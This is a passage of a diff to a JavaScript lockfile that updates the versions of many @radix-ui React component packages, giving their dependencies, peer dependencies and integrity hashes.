"@radix-ui/react-direction": "1.1.1", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-T4nygeh9YE9dLRPhAHSeOZi7HBXo+0kYIPJXayZfvWOWA0+n3dESrZbjfDPUABkUNym6Hd+f2IR113To8D2GPA=="], + "@radix-ui/react-context": ["@radix-ui/react-context@1.2.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RHCUGwKHDr0hDGg4X7ma4JG4/+12qxw8rkh5QKdDldlCvtja6nUx1Ef/8HVrJze81lEsgLQlqjzjGNHantgnQA=="], - "@radix-ui/react-arrow": ["@radix-ui/react-arrow@1.1.10", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.6" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-j2VTDz1vgCsmuG0k5lBfOcM8n5JPFqZBcMryasFjHYMhwxYL5SRUV5lMSUpRdNtw3D/Sv8pzJtrlAgkssYSsQQ=="], + "@radix-ui/react-dialog": ["@radix-ui/react-dialog@1.1.23", "", { "dependencies": { "@radix-ui/primitive": "1.1.7", "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-dismissable-layer": "1.1.19", "@radix-ui/react-focus-guards": "1.1.6", "@radix-ui/react-focus-scope": "1.1.16", "@radix-ui/react-id": "1.1.4", "@radix-ui/react-portal": "1.1.17", "@radix-ui/react-presence": "1.1.10", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-slot": "1.3.3", "@radix-ui/react-use-controllable-state": "1.2.6", "@radix-ui/react-use-layout-effect": "1.1.4", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.7.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Ksw4WeROkO4rC9k/onilX/Ao2Cr1ku1unMNH+XSCcP4jSXYu7HDsg9n4ojMjVb22XpYjAQ9qfrFlVbru1vXDUA=="], - "@radix-ui/react-collapsible": ["@radix-ui/react-collapsible@1.1.14", "", { "dependencies": { "@radix-ui/primitive": "1.1.4", "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-id": "1.1.2", "@radix-ui/react-presence": "1.1.6", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-use-controllable-state": "1.2.3", "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-9bT+FvifX1FK2Mj6UEsTdyu0cN3JaA3KdfhaBao+ONrYFy/pyOy3TU1TNw7iOk1o+0hOEq67RojlUUmoFGwxyA=="], + "@radix-ui/react-direction": ["@radix-ui/react-direction@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-5pzg4FGQNpExhnhT2zlrP1wZFaYCd1K0nYWoFAdcYoYK868IEigqMX3B3f8yIoRlAhAeDWciLI6ZdCKHF9P4Vg=="], - "@radix-ui/react-collection": ["@radix-ui/react-collection@1.1.7", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Fh9rGN0MoI4ZFUNyfFVNU4y9LUz93u9/0K+yLgA2bwRojxM8JU1DyvvMBabnZPBgMWREAJvU2jjVzq+LrFUglw=="], + "@radix-ui/react-dismissable-layer": ["@radix-ui/react-dismissable-layer@1.1.19", "", { "dependencies": { "@radix-ui/primitive": "1.1.7", "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-use-callback-ref": "1.1.4", "@radix-ui/react-use-effect-event": "0.0.5" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-8g4pfOL9HoKKLWGiypT+dphVqjFfmcXO5GBnhsG6zI+lxAx/8feQpr+1LSN8Re3hiZ+XkLNS4O9ztK11/LzQ6w=="], - "@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg=="], + "@radix-ui/react-focus-guards": ["@radix-ui/react-focus-guards@1.1.6", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RNOJjfZMTyBM6xYmV3IVGXkPjIhcBAuv48POevAXwrGJhkWZ9p1rFoIS1JFooPuT193AZmRsCPhpoVJxx6OPoQ=="], - "@radix-ui/react-context": ["@radix-ui/react-context@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA=="], + "@radix-ui/react-focus-scope": ["@radix-ui/react-focus-scope@1.1.16", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-use-callback-ref": "1.1.4" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wmRZ2WWLvmt6KHy2rNPOdPUjwq5xOHY02+m+udwJTn0aNIox/rkskAvJTyTLGhPK6KgrUjlJUJpgmx/+wFiFIQ=="], - "@radix-ui/react-dialog": ["@radix-ui/react-dialog@1.1.17", "", { "dependencies": { "@radix-ui/primitive": "1.1.4", "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-dismissable-layer": "1.1.13", "@radix-ui/react-focus-guards": "1.1.4", "@radix-ui/react-focus-scope": "1.1.10", "@radix-ui/react-id": "1.1.2", "@radix-ui/react-portal": "1.1.12", "@radix-ui/react-presence": "1.1.6", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-slot": "1.3.0", "@radix-ui/react-use-controllable-state": "1.2.3", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.7.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-TDTYmpdq8dI2+Xgvgj9AJ8Ghqq+Eph/TRVEdaFQPDItIY+6QSkU7MJMeevw1568Yw/2Ijz8BTphPSP2XejKphw=="], + "@radix-ui/react-id": ["@radix-ui/react-id@1.1.4", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-TMQp2llA+RYn7JcjnrMnz7wN4pcVttPZnRZo52PLQsoLVKzNlVwUeHmfePgTgRluXFvlD3GD5g5MOVVTJCO0qA=="], - "@radix-ui/react-direction": ["@radix-ui/react-direction@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-C3vFhbyi4SW3PmbAi6Awpu4OzJtd0MxGurvSsYtr7p7nM8RNB3VAF3CUmnp2j50knpkrRcB7+ycVXzgLgF6yNA=="], + "@radix-ui/react-navigation-menu": ["@radix-ui/react-navigation-menu@1.2.22", "", { "dependencies": { "@radix-ui/primitive": "1.1.7", "@radix-ui/react-collection": "1.1.15", "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-direction": "1.1.4", "@radix-ui/react-dismissable-layer": "1.1.19", "@radix-ui/react-id": "1.1.4", "@radix-ui/react-presence": "1.1.10", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-use-callback-ref": "1.1.4", "@radix-ui/react-use-controllable-state": "1.2.6", "@radix-ui/react-use-layout-effect": "1.1.4", "@radix-ui/react-use-previous": "1.1.4", "@radix-ui/react-visually-hidden": "1.2.11" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-ou7iLEJ+yrhQndkkA4U21XIdS/CS45F4iXIkTZcb6/Ne9EMsOuDudVmCwmDnfFZZ+y1FZqXRNSIgBy+YMvZVZg=="], - "@radix-ui/react-dismissable-layer": ["@radix-ui/react-dismissable-layer@1.1.13", "", { "dependencies": { "@radix-ui/primitive": "1.1.4", "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-use-callback-ref": "1.1.2", "@radix-ui/react-use-escape-keydown": "1.1.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-2v+zNAWWe0ySxgC0D0yeXMPQ23xZVgXZTerTz+JKlmdRj6gfTqmCcR29jb6d290DezXPGgruHWDX/vYUebtErg=="], + "@radix-ui/react-popover": ["@radix-ui/react-popover@1.1.23", "", { "dependencies": { "@radix-ui/primitive": "1.1.7", "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-dismissable-layer": "1.1.19", "@radix-ui/react-focus-guards": "1.1.6", "@radix-ui/react-focus-scope": "1.1.16", "@radix-ui/react-id": "1.1.4", "@radix-ui/react-popper": "1.3.7", "@radix-ui/react-portal": "1.1.17", "@radix-ui/react-presence": "1.1.10", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-slot": "1.3.3", "@radix-ui/react-use-controllable-state": "1.2.6", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.7.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-mw58MrBlyHWFisTOYignD0vf/3gdcgAR+9of1s9G/38CbFiUwH1nCDkc0AUM9IrXFgN5Ue8n45j9WCgyM1sbiQ=="], - "@radix-ui/react-focus-guards": ["@radix-ui/react-focus-guards@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-cot/aB/mOm0IYVYTTmQcEEK1M48lZWi8FlYe5nDPQQ8NYZUlXEFgncJ9p2Kzer3RKSrY7cTTpEMLZKNo9QoP5Q=="], + "@radix-ui/react-popper": ["@radix-ui/react-popper@1.3.7", "", { "dependencies": { "@floating-ui/react-dom": "^2.0.0", "@radix-ui/react-arrow": "1.1.15", "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-use-callback-ref": "1.1.4", "@radix-ui/react-use-layout-effect": "1.1.4", "@radix-ui/react-use-rect": "1.1.4", "@radix-ui/react-use-size": "1.1.4", "@radix-ui/rect": "1.1.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-UsJrrd7w4wuKKTdvd/DNERVlwSlUcyXzjhyDwBk+3aPOsCjOY6ZSbxuw8E6lZTjjfP8Cpd0J8VVkrYUWyGYXyg=="], - "@radix-ui/react-focus-scope": ["@radix-ui/react-focus-scope@1.1.10", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-use-callback-ref": "1.1.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Fas/lXQqhVvqwAb64s5RFeHiHYElZ6SUQbZaNd6EkfhP/Al7wTIQ9WIR4QVX475tlu5yFCEdDcJH6/UwsZjMWw=="], + "@radix-ui/react-portal": ["@radix-ui/react-portal@1.1.17", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-vKQLcWypUnwZVvfV7UkGahH2g6ySe8M8R+zYBwPrv5byZ9QAW6cQVvNKo7GgmD+p8aYb6D9JBuvy8/WhOno2wQ=="], - "@radix-ui/react-id": ["@radix-ui/react-id@1.1.1", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-kGkGegYIdQsOb4XjsfM97rXsiHaBwco+hFI66oO4s9LU+PLAC5oJ7khdOVFxkhsmlbpUqDAvXw11CluXP+jkHg=="], + "@radix-ui/react-presence": ["@radix-ui/react-presence@1.1.10", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-3wyzCQ6+ubRA+D4uv9m95JYLXxmOHp05qjrkjeA7uKHHtjpPggQzc6DAb0URl7j67oR0K2foO4ip27TiX037Bw=="], - "@radix-ui/react-navigation-menu": ["@radix-ui/react-navigation-menu@1.2.16", "", { "dependencies": { "@radix-ui/primitive": "1.1.4", "@radix-ui/react-collection": "1.1.10", "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-direction": "1.1.2", "@radix-ui/react-dismissable-layer": "1.1.13", "@radix-ui/react-id": "1.1.2", "@radix-ui/react-presence": "1.1.6", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-use-callback-ref": "1.1.2", "@radix-ui/react-use-controllable-state": "1.2.3", "@radix-ui/react-use-layout-effect": "1.1.2", "@radix-ui/react-use-previous": "1.1.2", "@radix-ui/react-visually-hidden": "1.2.6" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-nJ0SkrSQgudyYhMiYeHA1ayLVuduEJCFLan1RZZN7c9kqzzCFLaU9kuy81uNtqzweM9YaQPgWzxi9MwQ9jZ04g=="], + "@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.10", "", { "dependencies": { "@radix-ui/react-slot": "1.3.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-MucOnzh6hR5mid6VpkbglRAMYMjKLqRnGBbjXkzjK52fuQDd1qbkx78a5P40mkcnVXJdEVxm26E9OPAiUq7nBg=="], - "@radix-ui/react-popover": ["@radix-ui/react-popover@1.1.17", "", { "dependencies": { "@radix-ui/primitive": "1.1.4", "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-dismissable-layer": "1.1.13", "@radix-ui/react-focus-guards": "1.1.4", "@radix-ui/react-focus-scope": "1.1.10", "@radix-ui/react-id": "1.1.2", "@radix-ui/react-popper": "1.3.1", "@radix-ui/react-portal": "1.1.12", "@radix-ui/react-presence": "1.1.6", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-slot": "1.3.0", "@radix-ui/react-use-controllable-state": "1.2.3", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.7.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-/YSAOdJ7YJvdn7bn5sdSx2egW+SKY+u7O5RyAVs94Ymrg2fg5QTSFPMRkzvhGyFuE4/qsmPBdrwYoZMZh/4f+g=="], + "@radix-ui/react-roving-focus": ["@radix-ui/react-roving-focus@1.1.19", "", { "dependencies": { "@radix-ui/primitive": "1.1.7", "@radix-ui/react-collection": "1.1.15", "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-direction": "1.1.4", "@radix-ui/react-id": "1.1.4", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-use-callback-ref": "1.1.4", "@radix-ui/react-use-controllable-state": "1.2.6", "@radix-ui/react-use-is-hydrated": "0.1.3", "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-V9jI6hDjT7l3jsCQD9bLNvDLM3tH/gdbOTp7Tefp3hbbgCGQoK7tUvrWiRlcoBHIZ809ElXwNQwVo0B98LuTXQ=="], - "@radix-ui/react-popper": ["@radix-ui/react-popper@1.3.1", "", { "dependencies": { "@floating-ui/react-dom": "^2.0.0", "@radix-ui/react-arrow": "1.1.10", "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-use-callback-ref": "1.1.2", "@radix-ui/react-use-layout-effect": "1.1.2", "@radix-ui/react-use-rect": "1.1.2", "@radix-ui/react-use-size": "1.1.2", "@radix-ui/rect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-bhnq/0DEPTi2lsOD3J5rTL65qUKHbKbhqHsmN9TMiclSXpipi651ooUKPPp6G5lF/WiHBdn1s0Wuqsn+myVAvw=="], + "@radix-ui/react-scroll-area": ["@radix-ui/react-scroll-area@1.2.18", "", { "dependencies": { "@radix-ui/number": "1.1.3", "@radix-ui/primitive": "1.1.7", "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-direction": "1.1.4", "@radix-ui/react-presence": "1.1.10", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-use-callback-ref": "1.1.4", "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Zn5Cd171wxsO3Dfg8HaW6RifTb9CYTKQJHs/G4+LN1GfmJpaQMZQyQxMprVPHpaz7QY4l9BxK2JwQuzHsXC8nA=="], - "@radix-ui/react-portal": ["@radix-ui/react-portal@1.1.12", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-m309havGzsjLHHaIX50G5PlvRs3xkgPCsGk/5PTvYm8D5q33yG0J7w/712PTOhid7NTaFETtnSXjngHQavvhVw=="], + "@radix-ui/react-slot": ["@radix-ui/react-slot@1.3.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.5" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-qx7oqnYbxnK9kYI9m317qmFmEgo6ywqWvbTogdj7cL9p3/yx4M48p7Rnw5z3H890cL/ow/EeWJsuTykeZVXP5Q=="], - "@radix-ui/react-presence": ["@radix-ui/react-presence@1.1.6", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-zdTk4PlUO0E18HnZ3wYbW0KkJJxWCdiNYp6g6X1PtONFhxVkg01vliTJAmwIszU6mHiyBOoW9P0rAugl5/hULQ=="], + "@radix-ui/react-tabs": ["@radix-ui/react-tabs@1.1.21", "", { "dependencies": { "@radix-ui/primitive": "1.1.7", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-direction": "1.1.4", "@radix-ui/react-id": "1.1.4", "@radix-ui/react-presence": "1.1.10", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-roving-focus": "1.1.19", "@radix-ui/react-use-controllable-state": "1.2.6" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-UKxJlZid7FVtsk/WTxj4i4uSEgj2Au+KBbS7SQyTlzMhhn+86Cz3tISZdTa87bfEfcuvZezf2ZsxD4xuEKtkog=="], - "@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.3", "", { "dependencies": { "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ=="], + "@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-R6OUY2e2fA6Yn6s+VSx5KBV6Nx8LQEhu+cz7LCej18rQ1HLyg9PSC9jP/ZNx0o6FAIK9c0F1kHylzSxKsdlkrQ=="], - "@radix-ui/react-roving-focus": ["@radix-ui/react-roving-focus@1.1.13", "", { "dependencies": { "@radix-ui/primitive": "1.1.4", "@radix-ui/react-collection": "1.1.10", "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-direction": "1.1.2", "@radix-ui/react-id": "1.1.2", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-use-callback-ref": "1.1.2", "@radix-ui/react-use-controllable-state": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-9gkwneI0guf8JDmrFxPjJF6Ozzgioyw+/lonYNCwefS9ZHA05er0BVHiXr+LbWGHxUfczvMY6G1oiZZi1VzjRw=="], + "@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.6", "", { "dependencies": { "@radix-ui/primitive": "1.1.7", "@radix-ui/react-use-effect-event": "0.0.5", "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-uEQJGT97ZA/TgP/Hydw47lHu+/vQj6z/0jA+WeTbK1o9Rx45GImjpD0tc3W5ad3D6XTSR6e1yEO0FvGq6WQfVQ=="], - "@radix-ui/react-scroll-area": ["@radix-ui/react-scroll-area@1.2.12", "", { "dependencies": { "@radix-ui/number": "1.1.2", "@radix-ui/primitive": "1.1.4", "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-direction": "1.1.2", "@radix-ui/react-presence": "1.1.6", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-use-callback-ref": "1.1.2", "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-xuafVzQiTCLsyEjakowTdG3OgTXsmO7IdCiO77otIa+z44xoLNs9Do5eg7POFumIOCjtG6djfm6RKUKpUa/csA=="], + "@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.5", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-7cshFL8HGS/7HEiHH+9kL9HBwp2sa9yX18Knwek6KYWmXwM7pegMgta2AXMQKI+rq3JnfSj9x8wYqFMTdG1Jgg=="], - "@radix-ui/react-slot": ["@radix-ui/react-slot@1.3.0", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.3" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, 